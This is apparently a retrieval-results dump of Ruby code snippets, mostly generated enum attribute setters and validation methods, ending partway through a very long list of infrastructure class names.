"docid": "1010cbb86278818e332e15d7d4bc4c76",
"score": "0.50513357",
"text": "def smee=(smee)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(smee)\n fail ArgumentError, \"invalid value for \\\"smee\\\", must be one of #{validator.allowable_values}.\"\n end\n @smee = smee\n end",
"title": ""
},
{
"docid": "722e6e7f5ce2cd67fab1d88be88866d5",
"score": "0.5044483",
"text": "def allowed_status\n errors.add(:string, 'must be pending, accepted or declined.') unless %w[pending accepted declined].any?(status)\n end",
"title": ""
},
{
"docid": "a2db5fa50322ba3291dd926657f9b0aa",
"score": "0.5041556",
"text": "def define_active_enum_write_method_multiple(attribute, column)\n class_eval <<-DEF\n def #{attribute}=(args)\n self.#{column} = args.map do |arg|\n self.class.active_enum_get_id_for_#{attribute}(arg)\n end\n end\n DEF\n end",
"title": ""
},
{
"docid": "effe91b664b00a6a858ca04d5b14f871",
"score": "0.5036054",
"text": "def valid?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', [\"alert\", \"notification\"])\n return false unless type_validator.valid?(@type)\n priority_validator = EnumAttributeValidator.new('String', [\"P1\", \"P2\", \"P3\", \"P4\", \"P5\"])\n return false unless priority_validator.valid?(@priority)\n return true\n end",
"title": ""
},
{
"docid": "2ccb0fcc20c4ef57cec863b86b897901",
"score": "0.5031193",
"text": "def has_enums?\n !!eh_params[:has_enums]\n end",
"title": ""
},
{
"docid": "71747f04f529172711346720e6407040",
"score": "0.5023556",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', ['active', 'notActive', 'unknown'])\n unless validator.valid?(type)\n fail ArgumentError, %Q'invalid value for \"type\", must be one of #{validator.allowable_values}.'\n end\n @type = type\n end",
"title": ""
},
{
"docid": "64abebe2a7f2c7c8df10faf6872ab0ea",
"score": "0.5019361",
"text": "def level=(level)\n validator = EnumAttributeValidator.new('String', [\"Unknown\", \"Inline\", \"Block\", \"Row\", \"Cell\"])\n if level.to_i == 0\n unless validator.valid?(level)\n raise ArgumentError, \"invalid value for 'level', must be one of #{validator.allowable_values}.\"\n end\n @level = level\n else\n @level = validator.allowable_values[level.to_i]\n end\n end",
"title": ""
},
{
"docid": "08ecd7399d75cb525d1f0248ff26f611",
"score": "0.49934402",
"text": "def mode=(mode)\n validator = EnumAttributeValidator.new('String', [\"default\", \"custom\"])\n unless validator.valid?(mode)\n fail ArgumentError, \"invalid value for 'mode', must be one of #{validator.allowable_values}.\"\n end\n @mode = mode\n end",
"title": ""
},
{
"docid": "d90cfe7e7db391b50ff95a10e3f29df6",
"score": "0.4989093",
"text": "def valid?\n type_validator = EnumAttributeValidator.new('String', ['active', 'notActive', 'unknown'])\n return false unless type_validator.valid?(@type)\n true\n end",
"title": ""
},
{
"docid": "a105bf81c47e159a3ffe3ec67c805125",
"score": "0.49836317",
"text": "def allowed_access_levels\n validator = lambda do |field|\n level = public_send(field) || ENABLED # rubocop:disable GitlabSecurity/PublicSend\n not_allowed = level > ENABLED\n self.errors.add(field, \"cannot have public visibility level\") if not_allowed\n end\n\n (FEATURES - %i(pages)).each {|f| validator.call(\"#{f}_access_level\")}\n end",
"title": ""
},
{
"docid": "bdc594896da6fcb92215fb8b4674b848",
"score": "0.49754748",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Paragraph\", \"Character\", \"Table\", \"List\"])\n if type.to_i == 0\n unless validator.valid?(type)\n raise ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n else\n @type = validator.allowable_values[type.to_i]\n end\n end",
"title": ""
},
{
"docid": "db7ec93090129556f97c7773041a5f9e",
"score": "0.49738207",
"text": "def legal_entity_type=(legal_entity_type)\n validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n unless validator.valid?(legal_entity_type) || legal_entity_type.empty?\n fail ArgumentError, \"invalid value for \\\"legal_entity_type\\\", must be one of #{validator.allowable_values}.\"\n end\n @legal_entity_type = legal_entity_type\n end",
"title": ""
},
{
"docid": "697794f778b4c83e62037bbf18b45a6d",
"score": "0.49702868",
"text": "def all_attributes_exists_with_enumerations?(attribute_names)\n exists = all_attributes_exists_without_enumerations?(attribute_names)\n exists ||= attribute_names.all? do |name|\n column_methods_hash.include?(name.to_sym) || reflect_on_enumeration(name)\n end\n end",
"title": ""
},
{
"docid": "5550cfd7e462ceb2ad5ac6a8409014e1",
"score": "0.49647367",
"text": "def valid_setters\n methods = ScheduledActivity.instance_methods\n @valid_setters ||= methods.select do |m|\n methods.include?(:\"#{m}=\")\n end\n end",
"title": ""
},
{
"docid": "7bc12c4f0fdd8e72556c0ea19b7d9d88",
"score": "0.49602023",
"text": "def type=(type)\n validator = EnumAttributeValidator.new('String', [\"Weekly\", \"BiWeekly\", \"SemiMonthly\", \"Monthly\"])\n unless validator.valid?(type)\n fail ArgumentError, \"invalid value for 'type', must be one of #{validator.allowable_values}.\"\n end\n @type = type\n end",
"title": ""
},
{
"docid": "7c5cd1575d655ce2d39655732d247985",
"score": "0.4959052",
"text": "def valid?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', [\"ITEM\", \"CATEGORY\", \"ITEM_VARIATION\", \"TAX\", \"DISCOUNT\", \"MODIFIER_LIST\", \"MODIFIER\"])\n return false unless type_validator.valid?(@type)\n return false if @id.nil?\n return false if @id.to_s.length < 1\n return true\n end",
"title": ""
},
{
"docid": "872faf9c46b19bab793b2856a9998ce7",
"score": "0.49577102",
"text": "def valid?\n return false if @value.nil?\n change_mode_validator = EnumAttributeValidator.new('String', [\"immediate\", \"delayed\"])\n return false unless change_mode_validator.valid?(@change_mode)\n invoicing_type_validator = EnumAttributeValidator.new('String', [\"Immediate\", \"Aggregated\"])\n return false unless invoicing_type_validator.valid?(@invoicing_type)\n return true\n end",
"title": ""
},
{
"docid": "07aba547e1f80fa59ec608437c716765",
"score": "0.49549797",
"text": "def valid?\n type_validator = EnumAttributeValidator.new('String', [\"person\", \"business\"])\n return false unless type_validator.valid?(@type)\n return false if @country.nil?\n return false if @street.nil?\n return false if @postal_code.nil?\n return false if @city.nil?\n return false if @email.nil?\n return false if @ip.nil?\n identification_type_validator = EnumAttributeValidator.new('String', [\"DL\", \"PP\", \"ID\", \"OT\"])\n return false unless identification_type_validator.valid?(@identification_type)\n legal_entity_type_validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n return false unless legal_entity_type_validator.valid?(@legal_entity_type)\n nature_of_business_validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n return false unless nature_of_business_validator.valid?(@nature_of_business)\n return false if @documents.nil?\n gender_validator = EnumAttributeValidator.new('String', [\"M\", \"F\", \"O\"])\n return false unless gender_validator.valid?(@gender)\n true\n end",
"title": ""
},
{
"docid": "ffb7bab889e65bc5ead31cd91f4661e8",
"score": "0.49535498",
"text": "def class_id=(class_id)\n validator = EnumAttributeValidator.new('String', [\"aaa.AuditRecord\", \"aaa.RetentionConfig\", \"aaa.RetentionPolicy\", \"access.Policy\", \"adapter.ConfigPolicy\", \"adapter.ExtEthInterface\", \"adapter.HostEthInterface\", \"adapter.HostFcInterface\", \"adapter.HostIscsiInterface\", \"adapter.Unit\", \"adapter.UnitExpander\", \"appliance.AppStatus\", \"appliance.AutoRmaPolicy\", \"appliance.Backup\", \"appliance.BackupPolicy\", \"appliance.CertificateSetting\", \"appliance.DataExportPolicy\", \"appliance.DeviceCertificate\", \"appliance.DeviceClaim\", \"appliance.DeviceUpgradePolicy\", \"appliance.DiagSetting\", \"appliance.ExternalSyslogSetting\", \"appliance.FileGateway\", \"appliance.FileSystemStatus\", \"appliance.GroupStatus\", \"appliance.ImageBundle\", \"appliance.NodeInfo\", \"appliance.NodeStatus\", \"appliance.ReleaseNote\", \"appliance.RemoteFileImport\", \"appliance.Restore\", \"appliance.SetupInfo\", \"appliance.SystemInfo\", \"appliance.SystemStatus\", \"appliance.Upgrade\", \"appliance.UpgradePolicy\", \"asset.ClusterMember\", \"asset.Deployment\", \"asset.DeploymentDevice\", \"asset.DeviceClaim\", \"asset.DeviceConfiguration\", \"asset.DeviceConnectorManager\", \"asset.DeviceContractInformation\", \"asset.DeviceRegistration\", \"asset.Subscription\", \"asset.SubscriptionAccount\", \"asset.SubscriptionDeviceContractInformation\", \"asset.Target\", \"bios.BootDevice\", \"bios.BootMode\", \"bios.Policy\", \"bios.SystemBootOrder\", \"bios.TokenSettings\", \"bios.Unit\", \"bios.VfSelectMemoryRasConfiguration\", \"boot.CddDevice\", \"boot.DeviceBootMode\", \"boot.DeviceBootSecurity\", \"boot.HddDevice\", \"boot.IscsiDevice\", \"boot.NvmeDevice\", \"boot.PchStorageDevice\", \"boot.PrecisionPolicy\", \"boot.PxeDevice\", \"boot.SanDevice\", \"boot.SdDevice\", \"boot.UefiShellDevice\", \"boot.UsbDevice\", \"boot.VmediaDevice\", \"bulk.Export\", \"bulk.ExportedItem\", \"bulk.MoCloner\", \"bulk.MoMerger\", \"bulk.Request\", \"bulk.SubRequestObj\", \"capability.AdapterUnitDescriptor\", \"capability.Catalog\", \"capability.ChassisDescriptor\", \"capability.ChassisManufacturingDef\", \"capability.CimcFirmwareDescriptor\", \"capability.EquipmentPhysicalDef\", \"capability.EquipmentSlotArray\", \"capability.FanModuleDescriptor\", \"capability.FanModuleManufacturingDef\", \"capability.IoCardCapabilityDef\", \"capability.IoCardDescriptor\", \"capability.IoCardManufacturingDef\", \"capability.PortGroupAggregationDef\", \"capability.PsuDescriptor\", \"capability.PsuManufacturingDef\", \"capability.ServerSchemaDescriptor\", \"capability.SiocModuleCapabilityDef\", \"capability.SiocModuleDescriptor\", \"capability.SiocModuleManufacturingDef\", \"capability.SwitchCapability\", \"capability.SwitchDescriptor\", \"capability.SwitchManufacturingDef\", \"certificatemanagement.Policy\", \"chassis.ConfigChangeDetail\", \"chassis.ConfigImport\", \"chassis.ConfigResult\", \"chassis.ConfigResultEntry\", \"chassis.IomProfile\", \"chassis.Profile\", \"cloud.AwsBillingUnit\", \"cloud.AwsKeyPair\", \"cloud.AwsNetworkInterface\", \"cloud.AwsOrganizationalUnit\", \"cloud.AwsSecurityGroup\", \"cloud.AwsSubnet\", \"cloud.AwsVirtualMachine\", \"cloud.AwsVolume\", \"cloud.AwsVpc\", \"cloud.CollectInventory\", \"cloud.Regions\", \"cloud.SkuContainerType\", \"cloud.SkuDatabaseType\", \"cloud.SkuInstanceType\", \"cloud.SkuNetworkType\", \"cloud.SkuRegionRateCards\", \"cloud.SkuVolumeType\", \"cloud.TfcAgentpool\", \"cloud.TfcOrganization\", \"cloud.TfcWorkspace\", \"comm.HttpProxyPolicy\", \"compute.BiosPostPolicy\", \"compute.Blade\", \"compute.BladeIdentity\", \"compute.Board\", \"compute.Mapping\", \"compute.PhysicalSummary\", \"compute.RackUnit\", \"compute.RackUnitIdentity\", \"compute.ServerPowerPolicy\", \"compute.ServerSetting\", \"compute.Vmedia\", \"cond.Alarm\", \"cond.AlarmAggregation\", \"cond.HclStatus\", \"cond.HclStatusDetail\", \"cond.HclStatusJob\", \"connectorpack.ConnectorPackUpgrade\", \"connectorpack.UpgradeImpact\", \"convergedinfra.HealthCheckDefinition\", \"convergedinfra.HealthCheckExecution\", \"convergedinfra.Pod\", \"crd.CustomResource\", \"deviceconnector.Policy\", \"equipment.Chassis\", \"equipment.ChassisIdentity\", \"equipment.ChassisOperation\", \"equipment.DeviceSummary\", \"equipment.ExpanderModule\", \"equipment.Fan\", \"equipment.FanControl\", \"equipment.FanModule\", \"equipment.Fex\", \"equipment.FexIdentity\", \"equipment.FexOperation\", \"equipment.Fru\", \"equipment.IdentitySummary\", \"equipment.IoCard\", \"equipment.IoCardOperation\", \"equipment.IoExpander\", \"equipment.LocatorLed\", \"equipment.Psu\", \"equipment.PsuControl\", \"equipment.RackEnclosure\", \"equipment.RackEnclosureSlot\", \"equipment.SharedIoModule\", \"equipment.SwitchCard\", \"equipment.SystemIoController\", \"equipment.Tpm\", \"equipment.Transceiver\", \"ether.HostPort\", \"ether.NetworkPort\", \"ether.PhysicalPort\", \"ether.PortChannel\", \"externalsite.Authorization\", \"fabric.AppliancePcRole\", \"fabric.ApplianceRole\", \"fabric.ConfigChangeDetail\", \"fabric.ConfigResult\", \"fabric.ConfigResultEntry\", \"fabric.ElementIdentity\", \"fabric.EstimateImpact\", \"fabric.EthNetworkControlPolicy\", \"fabric.EthNetworkGroupPolicy\", \"fabric.EthNetworkPolicy\", \"fabric.FcNetworkPolicy\", \"fabric.FcUplinkPcRole\", \"fabric.FcUplinkRole\", \"fabric.FcoeUplinkPcRole\", \"fabric.FcoeUplinkRole\", \"fabric.FlowControlPolicy\", \"fabric.LinkAggregationPolicy\", \"fabric.LinkControlPolicy\", \"fabric.MulticastPolicy\", \"fabric.PcMember\", \"fabric.PcOperation\", \"fabric.PortMode\", \"fabric.PortOperation\", \"fabric.PortPolicy\", \"fabric.ServerRole\", \"fabric.SwitchClusterProfile\", \"fabric.SwitchControlPolicy\", \"fabric.SwitchProfile\", \"fabric.SystemQosPolicy\", \"fabric.UplinkPcRole\", \"fabric.UplinkRole\", \"fabric.Vlan\", \"fabric.Vsan\", \"fault.Instance\", \"fc.PhysicalPort\", \"fc.PortChannel\", \"fcpool.FcBlock\", \"fcpool.Lease\", \"fcpool.Pool\", \"fcpool.PoolMember\", \"fcpool.Universe\", \"feedback.FeedbackPost\", \"firmware.BiosDescriptor\", \"firmware.BoardControllerDescriptor\", \"firmware.ChassisUpgrade\", \"firmware.CimcDescriptor\", \"firmware.DimmDescriptor\", \"firmware.Distributable\", \"firmware.DistributableMeta\", \"firmware.DriveDescriptor\", \"firmware.DriverDistributable\", \"firmware.Eula\", \"firmware.FirmwareSummary\", \"firmware.GpuDescriptor\", \"firmware.HbaDescriptor\", \"firmware.IomDescriptor\", \"firmware.MswitchDescriptor\", \"firmware.NxosDescriptor\", \"firmware.PcieDescriptor\", \"firmware.PsuDescriptor\", \"firmware.RunningFirmware\", \"firmware.SasExpanderDescriptor\", \"firmware.ServerConfigurationUtilityDistributable\", \"firmware.StorageControllerDescriptor\", \"firmware.SwitchUpgrade\", \"firmware.UnsupportedVersionUpgrade\", \"firmware.Upgrade\", \"firmware.UpgradeImpact\", \"firmware.UpgradeImpactStatus\", \"firmware.UpgradeStatus\", \"forecast.Catalog\", \"forecast.Definition\", \"forecast.Instance\", \"graphics.Card\", \"graphics.Controller\", \"hcl.CompatibilityStatus\", \"hcl.DriverImage\", \"hcl.ExemptedCatalog\", \"hcl.HyperflexSoftwareCompatibilityInfo\", \"hcl.OperatingSystem\", \"hcl.OperatingSystemVendor\", \"hcl.SupportedDriverName\", \"hyperflex.Alarm\", \"hyperflex.AppCatalog\", \"hyperflex.AutoSupportPolicy\", \"hyperflex.BackupCluster\", \"hyperflex.CapabilityInfo\", \"hyperflex.CiscoHypervisorManager\", \"hyperflex.Cluster\", \"hyperflex.ClusterBackupPolicy\", \"hyperflex.ClusterBackupPolicyDeployment\", \"hyperflex.ClusterBackupPolicyInventory\", \"hyperflex.ClusterHealthCheckExecutionSnapshot\", \"hyperflex.ClusterNetworkPolicy\", \"hyperflex.ClusterProfile\", \"hyperflex.ClusterReplicationNetworkPolicy\", \"hyperflex.ClusterReplicationNetworkPolicyDeployment\", \"hyperflex.ClusterStoragePolicy\", \"hyperflex.ConfigResult\", \"hyperflex.ConfigResultEntry\", \"hyperflex.DataProtectionPeer\", \"hyperflex.DatastoreStatistic\", \"hyperflex.DevicePackageDownloadState\", \"hyperflex.Drive\", \"hyperflex.ExtFcStoragePolicy\", \"hyperflex.ExtIscsiStoragePolicy\", \"hyperflex.FeatureLimitExternal\", \"hyperflex.FeatureLimitInternal\", \"hyperflex.Health\", \"hyperflex.HealthCheckDefinition\", \"hyperflex.HealthCheckExecution\", \"hyperflex.HealthCheckExecutionSnapshot\", \"hyperflex.HealthCheckPackageChecksum\", \"hyperflex.HxapCluster\", \"hyperflex.HxapDatacenter\", \"hyperflex.HxapDvUplink\", \"hyperflex.HxapDvswitch\", \"hyperflex.HxapHost\", \"hyperflex.HxapHostInterface\", \"hyperflex.HxapHostVswitch\", \"hyperflex.HxapNetwork\", \"hyperflex.HxapVirtualDisk\", \"hyperflex.HxapVirtualMachine\", \"hyperflex.HxapVirtualMachineNetworkInterface\", \"hyperflex.HxdpVersion\", \"hyperflex.License\", \"hyperflex.LocalCredentialPolicy\", \"hyperflex.Node\", \"hyperflex.NodeConfigPolicy\", \"hyperflex.NodeProfile\", \"hyperflex.ProtectedCluster\", \"hyperflex.ProxySettingPolicy\", \"hyperflex.ServerFirmwareVersion\", \"hyperflex.ServerFirmwareVersionEntry\", \"hyperflex.ServerModel\", \"hyperflex.ServiceAuthToken\", \"hyperflex.SoftwareDistributionComponent\", \"hyperflex.SoftwareDistributionEntry\", \"hyperflex.SoftwareDistributionVersion\", \"hyperflex.SoftwareVersionPolicy\", \"hyperflex.StorageContainer\", \"hyperflex.SysConfigPolicy\", \"hyperflex.UcsmConfigPolicy\", \"hyperflex.VcenterConfigPolicy\", \"hyperflex.VmBackupInfo\", \"hyperflex.VmImportOperation\", \"hyperflex.VmRestoreOperation\", \"hyperflex.VmSnapshotInfo\", \"hyperflex.Volume\", \"hyperflex.WitnessConfiguration\", \"iaas.ConnectorPack\", \"iaas.DeviceStatus\", \"iaas.DiagnosticMessages\", \"iaas.LicenseInfo\", \"iaas.MostRunTasks\", \"iaas.ServiceRequest\", \"iaas.UcsdInfo\", \"iaas.UcsdManagedInfra\", \"iaas.UcsdMessages\", \"iam.Account\", \"iam.AccountExperience\", \"iam.ApiKey\", \"iam.AppRegistration\", \"iam.BannerMessage\", \"iam.Certificate\", \"iam.CertificateRequest\", \"iam.DomainGroup\", \"iam.EndPointPrivilege\", \"iam.EndPointRole\", \"iam.EndPointUser\", \"iam.EndPointUserPolicy\", \"iam.EndPointUserRole\", \"iam.Idp\", \"iam.IdpReference\", \"iam.IpAccessManagement\", \"iam.IpAddress\", \"iam.LdapGroup\", \"iam.LdapPolicy\", \"iam.LdapProvider\", \"iam.LocalUserPassword\", \"iam.LocalUserPasswordPolicy\", \"iam.OAuthToken\", \"iam.Permission\", \"iam.PrivateKeySpec\", \"iam.Privilege\", \"iam.PrivilegeSet\", \"iam.Qualifier\", \"iam.ResourceLimits\", \"iam.ResourcePermission\", \"iam.ResourceRoles\", \"iam.Role\", \"iam.SecurityHolder\", \"iam.ServiceProvider\", \"iam.Session\", \"iam.SessionLimits\", \"iam.System\", \"iam.TrustPoint\", \"iam.User\", \"iam.UserGroup\", \"iam.UserPreference\", \"inventory.DeviceInfo\", \"inventory.DnMoBinding\", \"inventory.GenericInventory\", \"inventory.GenericInventoryHolder\", \"inventory.Request\", \"ipmioverlan.Policy\", \"ippool.BlockLease\", \"ippool.IpLease\", \"ippool.Pool\", \"ippool.PoolMember\", \"ippool.ShadowBlock\", \"ippool.ShadowPool\", \"ippool.Universe\", \"iqnpool.Block\", \"iqnpool.Lease\", \"iqnpool.Pool\", \"iqnpool.PoolMember\", \"iqnpool.Universe\", \"iwotenant.TenantStatus\", \"kubernetes.AciCniApic\", \"kubernetes.AciCniProfile\", \"kubernetes.AciCniTenantClusterAllocation\", \"kubernetes.AddonDefinition\", \"kubernetes.AddonPolicy\", \"kubernetes.AddonRepository\", \"kubernetes.BaremetalNodeProfile\", \"kubernetes.Catalog\", \"kubernetes.Cluster\", \"kubernetes.ClusterAddonProfile\", \"kubernetes.ClusterProfile\", \"kubernetes.ConfigResult\", \"kubernetes.ConfigResultEntry\", \"kubernetes.ContainerRuntimePolicy\", \"kubernetes.DaemonSet\", \"kubernetes.Deployment\", \"kubernetes.Ingress\", \"kubernetes.NetworkPolicy\", \"kubernetes.Node\", \"kubernetes.NodeGroupProfile\", \"kubernetes.Pod\", \"kubernetes.Service\", \"kubernetes.StatefulSet\", \"kubernetes.SysConfigPolicy\", \"kubernetes.TrustedRegistriesPolicy\", \"kubernetes.Version\", \"kubernetes.VersionPolicy\", \"kubernetes.VirtualMachineInfraConfigPolicy\", \"kubernetes.VirtualMachineInfrastructureProvider\", \"kubernetes.VirtualMachineInstanceType\", \"kubernetes.VirtualMachineNodeProfile\", \"kvm.Policy\", \"kvm.Session\", \"kvm.Tunnel\", \"license.AccountLicenseData\", \"license.CustomerOp\", \"license.IwoCustomerOp\", \"license.IwoLicenseCount\", \"license.LicenseInfo\", \"license.LicenseReservationOp\", \"license.SmartlicenseToken\", \"ls.ServiceProfile\", \"macpool.IdBlock\", \"macpool.Lease\", \"macpool.Pool\", \"macpool.PoolMember\", \"macpool.Universe\", \"management.Controller\", \"management.Entity\", \"management.Interface\", \"memory.Array\", \"memory.PersistentMemoryConfigResult\", \"memory.PersistentMemoryConfiguration\", \"memory.PersistentMemoryNamespace\", \"memory.PersistentMemoryNamespaceConfigResult\", \"memory.PersistentMemoryPolicy\", \"memory.PersistentMemoryRegion\", \"memory.PersistentMemoryUnit\", \"memory.Unit\", \"meta.Definition\", \"network.Element\", \"network.ElementSummary\", \"network.FcZoneInfo\", \"network.VlanPortInfo\", \"networkconfig.Policy\", \"niaapi.ApicCcoPost\", \"niaapi.ApicFieldNotice\", \"niaapi.ApicHweol\", \"niaapi.ApicLatestMaintainedRelease\", \"niaapi.ApicReleaseRecommend\", \"niaapi.ApicSweol\", \"niaapi.DcnmCcoPost\", \"niaapi.DcnmFieldNotice\", \"niaapi.DcnmHweol\", \"niaapi.DcnmLatestMaintainedRelease\", \"niaapi.DcnmReleaseRecommend\", \"niaapi.DcnmSweol\", \"niaapi.FileDownloader\", \"niaapi.NiaMetadata\", \"niaapi.NibFileDownloader\", \"niaapi.NibMetadata\", \"niaapi.VersionRegex\", \"niatelemetry.AaaLdapProviderDetails\", \"niatelemetry.AaaRadiusProviderDetails\", \"niatelemetry.AaaTacacsProviderDetails\", \"niatelemetry.ApicAppPluginDetails\", \"niatelemetry.ApicCoreFileDetails\", \"niatelemetry.ApicDbgexpRsExportDest\", \"niatelemetry.ApicDbgexpRsTsScheduler\", \"niatelemetry.ApicFanDetails\", \"niatelemetry.ApicFexDetails\", \"niatelemetry.ApicFlashDetails\", \"niatelemetry.ApicNtpAuth\", \"niatelemetry.ApicPsuDetails\", \"niatelemetry.ApicRealmDetails\", \"niatelemetry.ApicSnmpClientGrpDetails\", \"niatelemetry.ApicSnmpCommunityAccessDetails\", \"niatelemetry.ApicSnmpCommunityDetails\", \"niatelemetry.ApicSnmpTrapDetails\", \"niatelemetry.ApicSnmpTrapFwdServerDetails\", \"niatelemetry.ApicSnmpVersionThreeDetails\", \"niatelemetry.ApicSysLogGrp\", \"niatelemetry.ApicSysLogSrc\", \"niatelemetry.ApicTransceiverDetails\", \"niatelemetry.ApicUiPageCounts\", \"niatelemetry.AppDetails\", \"niatelemetry.CommonPolicies\", \"niatelemetry.DcnmFanDetails\", \"niatelemetry.DcnmFexDetails\", \"niatelemetry.DcnmModuleDetails\", \"niatelemetry.DcnmPsuDetails\", \"niatelemetry.DcnmTransceiverDetails\", \"niatelemetry.Epg\", \"niatelemetry.FabricModuleDetails\", \"niatelemetry.FabricPodProfile\", \"niatelemetry.FabricPodSs\", \"niatelemetry.Fault\", \"niatelemetry.HttpsAclContractDetails\", \"niatelemetry.HttpsAclContractFilterMap\", \"niatelemetry.HttpsAclEpgContractMap\", \"niatelemetry.HttpsAclEpgDetails\", \"niatelemetry.HttpsAclFilterDetails\", \"niatelemetry.Lc\", \"niatelemetry.MsoContractDetails\", \"niatelemetry.MsoEpgDetails\", \"niatelemetry.MsoSchemaDetails\", \"niatelemetry.MsoSiteDetails\", \"niatelemetry.MsoTenantDetails\", \"niatelemetry.NexusDashboardControllerDetails\", \"niatelemetry.NexusDashboardDetails\", \"niatelemetry.NexusDashboardMemoryDetails\", \"niatelemetry.NexusDashboards\", \"niatelemetry.NiaFeatureUsage\", \"niatelemetry.NiaInventory\", \"niatelemetry.NiaInventoryDcnm\", \"niatelemetry.NiaInventoryFabric\", \"niatelemetry.NiaLicenseState\", \"niatelemetry.PasswordStrengthCheck\", \"niatelemetry.PodCommPolicies\", \"niatelemetry.PodSnmpPolicies\", \"niatelemetry.PodTimeServerPolicies\", \"niatelemetry.SiteInventory\", \"niatelemetry.SnmpSrc\", \"niatelemetry.SshVersionTwo\", \"niatelemetry.SupervisorModuleDetails\", \"niatelemetry.SyslogRemoteDest\", \"niatelemetry.SyslogSysMsg\", \"niatelemetry.SyslogSysMsgFacFilter\", \"niatelemetry.SystemControllerDetails\", \"niatelemetry.Tenant\", \"notification.AccountSubscription\", \"ntp.Policy\", \"oprs.Deployment\", \"oprs.SyncTargetListMessage\", \"organization.Organization\", \"os.BulkInstallInfo\", \"os.Catalog\", \"os.ConfigurationFile\", \"os.Distribution\", \"os.Install\", \"os.OsSupport\", \"os.SupportedVersion\", \"os.TemplateFile\", \"os.ValidInstallTarget\", \"pci.CoprocessorCard\", \"pci.Device\", \"pci.Link\", \"pci.Switch\", \"port.Group\", \"port.MacBinding\", \"port.SubGroup\", \"power.ControlState\", \"power.Policy\", \"processor.Unit\", \"rack.UnitPersonality\", \"recommendation.CapacityRunway\", \"recommendation.PhysicalItem\", \"recovery.BackupConfigPolicy\", \"recovery.BackupProfile\", \"recovery.ConfigResult\", \"recovery.ConfigResultEntry\", \"recovery.OnDemandBackup\", \"recovery.Restore\", \"recovery.ScheduleConfigPolicy\", \"resource.Group\", \"resource.GroupMember\", \"resource.LicenseResourceCount\", \"resource.Membership\", \"resource.MembershipHolder\", \"resource.Reservation\", \"resourcepool.Lease\", \"resourcepool.LeaseResource\", \"resourcepool.Pool\", \"resourcepool.PoolMember\", \"resourcepool.Universe\", \"rproxy.ReverseProxy\", \"sdcard.Policy\", \"sdwan.Profile\", \"sdwan.RouterNode\", \"sdwan.RouterPolicy\", \"sdwan.VmanageAccountPolicy\", \"search.SearchItem\", \"search.TagItem\", \"security.Unit\", \"server.ConfigChangeDetail\", \"server.ConfigImport\", \"server.ConfigResult\", \"server.ConfigResultEntry\", \"server.Profile\", \"server.ProfileTemplate\", \"smtp.Policy\", \"snmp.Policy\", \"software.ApplianceDistributable\", \"software.DownloadHistory\", \"software.HclMeta\", \"software.HyperflexBundleDistributable\", \"software.HyperflexDistributable\", \"software.ReleaseMeta\", \"software.SolutionDistributable\", \"software.UcsdBundleDistributable\", \"software.UcsdDistributable\", \"softwarerepository.Authorization\", \"softwarerepository.CachedImage\", \"softwarerepository.Catalog\", \"softwarerepository.CategoryMapper\", \"softwarerepository.CategoryMapperModel\", \"softwarerepository.CategorySupportConstraint\", \"softwarerepository.DownloadSpec\", \"softwarerepository.OperatingSystemFile\", \"softwarerepository.Release\", \"sol.Policy\", \"ssh.Policy\", \"storage.Controller\", \"storage.DiskGroup\", \"storage.DiskSlot\", \"storage.DriveGroup\", \"storage.Enclosure\", \"storage.EnclosureDisk\", \"storage.EnclosureDiskSlotEp\", \"storage.FlexFlashController\", \"storage.FlexFlashControllerProps\", \"storage.FlexFlashPhysicalDrive\", \"storage.FlexFlashVirtualDrive\", \"storage.FlexUtilController\", \"storage.FlexUtilPhysicalDrive\", \"storage.FlexUtilVirtualDrive\", \"storage.HitachiArray\", \"storage.HitachiController\", \"storage.HitachiDisk\", \"storage.HitachiHost\", \"storage.HitachiHostLun\", \"storage.HitachiParityGroup\", \"storage.HitachiPool\", \"storage.HitachiPort\", \"storage.HitachiVolume\", \"storage.HyperFlexStorageContainer\", \"storage.HyperFlexVolume\", \"storage.Item\", \"storage.NetAppAggregate\", \"storage.NetAppBaseDisk\", \"storage.NetAppCluster\", \"storage.NetAppEthernetPort\", \"storage.NetAppExportPolicy\", \"storage.NetAppFcInterface\", \"storage.NetAppFcPort\", \"storage.NetAppInitiatorGroup\", \"storage.NetAppIpInterface\", \"storage.NetAppLicense\", \"storage.NetAppLun\", \"storage.NetAppLunMap\", \"storage.NetAppNode\", \"storage.NetAppNtpServer\", \"storage.NetAppSensor\", \"storage.NetAppStorageVm\", \"storage.NetAppVolume\", \"storage.NetAppVolumeSnapshot\", \"storage.PhysicalDisk\", \"storage.PhysicalDiskExtension\", \"storage.PhysicalDiskUsage\", \"storage.PureArray\", \"storage.PureController\", \"storage.PureDisk\", \"storage.PureHost\", \"storage.PureHostGroup\", \"storage.PureHostLun\", 